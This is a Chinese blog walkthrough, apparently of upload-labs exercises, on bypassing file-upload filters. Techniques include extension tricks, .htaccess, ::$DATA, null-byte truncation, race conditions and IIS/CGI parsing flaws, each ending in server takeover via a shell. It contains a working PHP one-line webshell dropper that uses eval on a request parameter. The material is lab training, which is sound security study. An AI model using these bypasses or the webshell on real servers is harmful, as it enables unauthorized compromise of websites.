文件上传的20种骚方法

文件解析漏洞


黑名单绕过

第一题:

在这里插入图片描述
我们查看源代码,发现不准上传 .jpg .png .gif后缀名的文件
于是,我们制作一个图片木马
在这里插入图片描述在这里插入图片描述制作成功
在这里插入图片描述我们利用burp的抓包工具,去获取数据包
在这里插入图片描述修改上传文件的后缀名为.php
发现文件上传成功

在这里插入图片描述进入图片链接,发现果然是一个php码
在这里插入图片描述利用菜刀进入成功进入后台
在这里插入图片描述

第二题:

同样是是上传文件,但是前端检测点不同
我们同样制作图片码,利用burp抓包,修改文件后缀名为php,一样能拿下服务器

在这里插入图片描述在这里插入图片描述

第三题:

我们查看图片源代码
在这里插入图片描述我们发现他们把以.asp .aspx .php .jsp尾缀结尾的,全部都禁止了
在这里插入图片描述
我们可以利用其他的文件后缀名,后台数据库同样可以解析文件
于是我们同样上传文件,同样利用burp来抓包,修改后缀名

在这里插入图片描述拿下服务器
在这里插入图片描述

第四题:

在这里插入图片描述我们发现这个源代码,啪啪的一大段代码,几乎隔绝了大部分的敏感文件的后缀名
我们利用cmd修改文件后缀名
ren 1.txt .htaccess

在这里插入图片描述然后上传去
发现
在这里插入图片描述显然上传成功,然后发现上传我们的图片木马
在这里插入图片描述利用菜到拿下服务器
在这里插入图片描述

第五题:

在这里插入图片描述发现他隔绝了很多文件的后缀名,同时关闭了.htaccess
于是我们利用文件后缀名的大小写

在这里插入图片描述图片码上传成功
在这里插入图片描述拿下服务器
在这里插入图片描述查看源代码
在这里插入图片描述发现他把所有文件的大小写都强制转化为小写
各种方式都试过了,我们尝试改文件后缀名,在后缀名后面加一个空格

在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述图片码上传成功,拿下服务器

第七题:

我们同样去抓包,然后发现它又几乎把很多东西都隔绝了,我们尝试输入.php.来绕过
在这里插入图片描述在这里插入图片描述在这里插入图片描述成功绕过,拿下服务器

第八题

在这里插入图片描述几乎阻止了大部分的上传的漏洞,但是却没有防止::$DATA
在这里插入图片描述于是,我们照样上传文件
在这里插入图片描述在这里插入图片描述拿下服务器

第九题:

查看源代码
在这里插入图片描述发现它是隔绝了大多的上传漏洞,但是我们发现它是有一个逻辑漏洞,那就是它只检测了一遍。
于是我们自己构造文件的后缀,主动让它来检测,并删除多余的尾缀
看到它首先第一个删除文件末尾的点,再删除文件末尾的空格
.php. .
删除完过后就是.php.
正则匹配发现,并没有隔离php.文件后缀名,文件同样可以上传成功

在这里插入图片描述在这里插入图片描述在这里插入图片描述文件上传成功拿下服务器

第十题:

我们查看源代码,发现它自动把所有php等等文件后缀的敏感字母给替换成空
在这里插入图片描述于是,我们构造双尾缀
把后缀名换成 .pphphp
等系统自动删除php过后就会剩下.php

在这里插入图片描述上传文件,果然上传成功
在这里插入图片描述在这里插入图片描述在这里插入图片描述

下面就是白名单绕过了

第十一题:

我们首先在看源代码

在这里插入图片描述发现它只有当if()>0,它才执行上传文件,于是我们利用%00截断绕过
把文件后缀名修改成666.php%00.jpg

而**%00是一个URL编码,它会被转化成0x00**,这是16进制的表示ascii码值为0,有些函数在处理这个字符的时候会把这个字符当做结束符,他们就读取到这里认为这一段结束了。
下面我们进行文件上传
在这里插入图片描述图片码上传成功
在这里插入图片描述我们访问图片地址,发现它真的单纯是一个图片,并不是php文件
在这里插入图片描述
原因是它把我们传上去的图片进行了重命名,导致我们上传的改文件后缀名的方式失效了

所以,我们无法对上传的文件名,进行操作,于是,我们继续抓包,看看能否在保存路径的时候进行操作
在这里插入图片描述

发现这边有一个保存路径可以操作
于是,我们修改保存路径尝试利用保存的路径中利用%00来终止文件的识别
在这里插入图片描述
发现文件上传失败
在这里插入图片描述
同时它报错了,我们发现报错后面存在一个重命名的文件,我发现是我少打了一个%,于是继续上传
在这里插入图片描述上传成功
拿下服务器
在这里插入图片描述

第十二题:

同样是00截断,我们把同样抓取一个数据包,先上传图片码
在这里插入图片描述
我们发现,它这是POST传参的保存,那么它肯定是不能识别URL栏的%00的
于是,我们直接修改它的HEX值
在这里插入图片描述然后在HEX那边修改
在这里插入图片描述修改成00
图片码上传成功,打开图片地址
在这里插入图片描述拿下服务器

第十三题:——第十五题:

直接上传图片码就行了,下载过后,图片码不会被消失,依然在

第十六题:

二次渲染,就是图片上传后,会进行渲染,导致我们本来上传的图片码,被篡改,失效,但是gif文件因为是动态文件,他被渲染的时候,第一部分是不会被修改的,但是第二部分会被修改。于是,我们制作gif的图片码。

第十七题:

条件竞争

因为数据库删除文件是需要时间的,所以我们一直去访问就可以在被删除之前访问到,访问到就回执行我们文件里的代码

<?php $a = '<?php @eval($_REQUEST[\'a\'])?>';file_put_contents('1.php',$a)?>

我们利用
burp跑包,两个线程,一个疯狂上传,一个疯狂访问。
我首先先抓一个上传图片码的包,并传到Intruder模块、
在这里插入图片描述接着,我再上传一张正常图片,找到保存的地址
在这里插入图片描述修改地址,访问666.php的文件
在这里插入图片描述再抓包,传到Intruder
在这里插入图片描述开始爆破
在这里插入图片描述在这里插入图片描述

第十九题:

move_uploaded_file()截断
move_uploaded_file()函数是将文件移动到一个新的位置
我首先上传一个图片码

在这里插入图片描述发现他会重命名,并且移动文件,那他肯定会用到这个函数,于是我们修改hex的值进行截断
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

第二十题:

IIS6.0除了将ASP后缀当做ASP进行解析的同时,当文件后缀名字为.asa .cer .cdx 也会当做asp去解析,这是因为IIS6.0在应用程序扩展中默认设置了.asa .cer .cdx 都会调用 asp.dll

我们制作好asp的一句话木马,然后利用burp抓包
修改文件后缀名,拿下服务器
在这里插入图片描述在这里插入图片描述
在这里插入图片描述

第二十一题:

IIS6.0会识别 ; 的截断符直接上传文件,我们把文件后缀名改成。asp;.jpg就可以实现文件上传成功。
在这里插入图片描述

在这里插入图片描述但是注意,这个和00截断是不同的,如果我们访问555.asp是访问不到的
必须得访问555.asp;.jpg才能访问到

第二十二题:

asp/123.jpg 他将当做asp进行解析
和第二十二题一样,我们需要上传.asp/.jpg

第二十三题:

CGI解析漏洞
在这里插入图片描述
所以说我们只需要在正常的.jpg后面加/.php就可以成功的绕过解析
在这里插入图片描述在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

猫鼠信安

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值